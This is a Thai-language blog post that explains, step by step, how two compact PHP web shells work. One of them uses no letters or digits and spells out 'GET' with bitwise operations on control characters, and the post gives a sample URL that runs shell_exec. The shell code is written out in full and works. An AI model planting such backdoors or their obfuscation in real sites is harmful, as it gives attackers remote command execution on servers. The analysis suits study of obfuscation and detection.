Pages

9/23/2011

PHP Shell Without Alpha-Numeric


หลังจากเมื่อหลายวันก่อน อ่านไปเจอ blog อันนี้ http://h.ackack.net/tiny-php-shell.html
ซึ่งเป็นการเขียนโค้ด PHP Shell โดยพยายามให้มันสั้นที่สุดและพยายามมีตัวอักษรน้อยที่สุด
เขาเขียนได้สั้นมากๆจริง  เหลือแค่เพียง
<?=($_=@$_GET[2]).@$_($_GET[1])?>
ซึ่งถึงจะสั้นแล้วก็ตามแต่ก็ยังมีตัวอักษรแบบ Alpha-numeric อยู่ (คือคำว่า "GET" กับ "1","2") ให้พออ่านรู้เรื่องได้อยู่

วันนี้มาเจอ blog ของอีกคนนึง ที่ http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/ ซึ่งเป็นที่มาของการเขียน Blog หน้านี้ ก็เพราะว่านาย "The Spanner" เนี่ย โชว์ฝีมือ เขียนมาโดยไม่มีตัวอักษรหรือตัวเลขเลย แบบเนี้ยะ
<?$_="";$_[+""]='';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?>
<?=${'_'.$_}['_'](${'_'.$_}['__']);?>
โดยโค้ดนี้ทำงานได้โดยการใส่ URL เป็นแบบ
s.php?_=shell_exec&__=whoami
แล้วมันอ่านยากขนาดนี้  ก็เลยมานั่งแกะโค้ดแล้วก็เลยมาเขียนวิธีการทำงานของโค้ดนี้ให้อ่านกัน

หลักการทำงานทำงานของโค้ด

ขอแยกอธิบายเป็นสองส่วนตามบรรทัดละกัน  เอาส่วนหลังมาอธิบายก่อนด้วย เพราะมันเข้าใจง่ายกว่า

ส่วนหลัง<?=${'_'.$_}['_'](${'_'.$_}['__']);?>

ตรงนี้ถ้าเกิดแทนที่ $_ ด้วยคำว่า "GET" แล้วจะเห็นได้ชัดเจนเลยว่าคืออะไร
ก็จะกลายเป็น <?=${'_'."GET"}['_'](${'_'."GET"}['__']);?>
กลายเป็น  <?=${'_GET'}['_'](${'_GET}['__']);?>
กลายเป็น  <?=$_GET['_']($_GET['__']);?>

ก็คือการเรียกฟังก์ชั่น ที่ชื่อ $_GET['_']  (รับชื่อฟังก์ชั่นมาจาก parameter '_' แบบขีดเดียว)
โดยส่งค่าเข้าไปรันคือ $_GET['__']  (รับค่ามาจาก '__' แบบสองขีด)

พอเรียก URL ด้วย   s.php?_=shell_exec&__=whoami
ค่าที่ถูกแทนที่ก็จะเป็น
<?=shell_exec('whoami');?>

ส่วนแรก<?$_="";$_[+""]='';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?>

จากส่วนหลัง เราสมมุติไว้ว่า $_="GET"  พอคราวนี้ส่วนแรกก็คือการที่จะทำให้ $_ มีค่าเป็น "GET" โดยที่ไม่ต้องใช้ค่าตัวอักษรแม้แต่ตัวเดียวในโค้ด
ขอแบ่งคำสั่งตรงนี้ออกเป็น 4 คำสั่งก่อน ตามเครื่องหมาย semi-colon(;)

$_="";  
คำสั่งแรกเป็นการสั่งให้ ตัวแปรชื่อ $_ เป็นตัวแปรชนิด string ที่มีขนาด 0 ตัวอักษร หรือ string(0)=''

$_[+""]='';
คำสั่งที่ 2 นี้ พยายามที่จะแปลงตัวแปร $_ ให้กลายเป็นตัวแปรชนิด Array โดยการใส่เลขชี้ตำแหน่งลงไป
โดย +"" ในที่นี้มีความหมายเป็น 0 เพราะการเอาstringเปล่า("")ไปนำหน้าด้วยเครื่องหมาย + ก็คือการพยายามแปลง string ให้กลายเป็น int    และเมื่อstringตัวนั้นมันว่างเปล่า พอแปลงเป็น int ก็เลยได้เลข 0
คำสั่งนี้จึงหมายถึง
$_[0]='';
ดังนั้นตอนนี้ค่าของ $_ จะเป็น  Array{0=>''}

$_="$_"."";
คำสั่งที่ 3 นี้เป็นการเอาคำว่า "Array" ออกมาใส่ใน $_
โดยวิธีการคือ การใช้เครื่องหมายคำพูดครอบตัวแปรไว้ ("$_") เพื่อบังคับให้ตัวแปรนั้นแสดงค่าออกมาในรูปแบบ string
แต่เนื่องจากตอนนี้ค่าของ $_ นั่นเป็นชนิด Array ไม่ใช่ string, พอเวลาโดน"บังคับแปลง" ก็เลยได้คำว่า "Array" ออกมา
หลังจากนั้นก็จะกลายเป็น
 $_="Array"."";  
ซึ่งมีผลทำให้ตอนนี้ตัวแปร $_ กลายเป็นชนิดข้อมูล string และมีค่าเป็น "Array"  (string(5)='Array')

$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
คำสั่งสุดท้ายก็ไม่ได้มีอะไรมาก ก็คือการแปลงจากคำว่า "Array" ให้ได้มากซึ่งคำว่า "GET"
โดยตอนนี้ตัวอักษรที่มีค่าใกล้เคียงกับ 'G','E','T' มากที่สุด ก็คือตัวอักษร 'A' ซึ่งเป็นอักษรตัวที่ 0 ของ "Array" นั่นเอง
จะเห็นได้จากในคำสั่งนี้จะเห็นว่ามีการใช้  $_[+""]  สามครั้งด้วยกัน เพื่อคำนวนออกมาให้ได้ตัวอักษร 'G','E' และ 'T'
ซึ่งตัว $_[+""] นี้ก็หมายถึง $_[0] ซึ่งก็หมายถึงตัว 'A' นั่นเอง  ( +"" มีค่าเท่ากับ 0  อธิบายไว้แล้วข้างบน)

พอเรารู้แบบนี้แล้ว โค้ดตรงนี้จะเหลือเพียงแค่
$_=('A'|"").('A'|"").('A'^"");
ปัญหาที่เหลือก็คือ ทำยังไงให้ 'A' กลายเป็น 'G','E','T' ได้
ตรงนี้แนะนำให้เอาโค้ดตัวนี้ไปก๊อปวางในโปรแกรมที่อ่านตัวอักษรพิเศษได้ก่อน (เช่น notepad++)
เพราะจะทำให้เห็นว่า บรรทัดตรงนี้น่ะ มันมีตัวอักษรพิเศษอยู่
คือความจริงแล้วมันเป็น
$_=('A'|"ACK").('A'|"ENQ").('A'^"NAK");
โดยถ้าไปเปิดตาราง ASCII ดูแล้ว (เช่นจาก http://www.asciitable.com/index/asciifull.gif)
จะเห็นว่าค่ารหัสของ
ACK (Acknowledge) = 6
ENQ (Enquiry) = 5
NAK (Negative-Acknowledge) = 21

ดังนั้นจะทำให้สมการตรงนี้ลดลงเหลือแค่
$_=('A'|6).('A'|5).('A'^21);
(สำหรับใครที่ไม่รู้ เครื่องหมาย | นี้หมายถึง bitwise-OR และ ^ นี้หมายถึง bitwise-XOR หาอ่านวิธีการคำนวนได้จาก Google)

ที่เหลือก็จะเป็นการกระทำทางคณิตศาสตร์ของค่าของ 'A' (ซึ่งมีรหัส ASCII เป็น 65) กับตัวเลขต่างๆ
65|6 = 01000001 | 00000110 = 01000111 = 71  (รหัสASCII ของ 'G')
65|5 = 01000001 | 00000101 = 01000101 = 69  (รหัสASCII ของ 'E')
65^21 = 01000001 ^ 00010101 = 01010100 = 84  (รหัสASCII ของ 'T')

สรุปแล้ว $_='G'.'E'.'T' = 'GET' นั่นเอง



No comments:

Post a Comment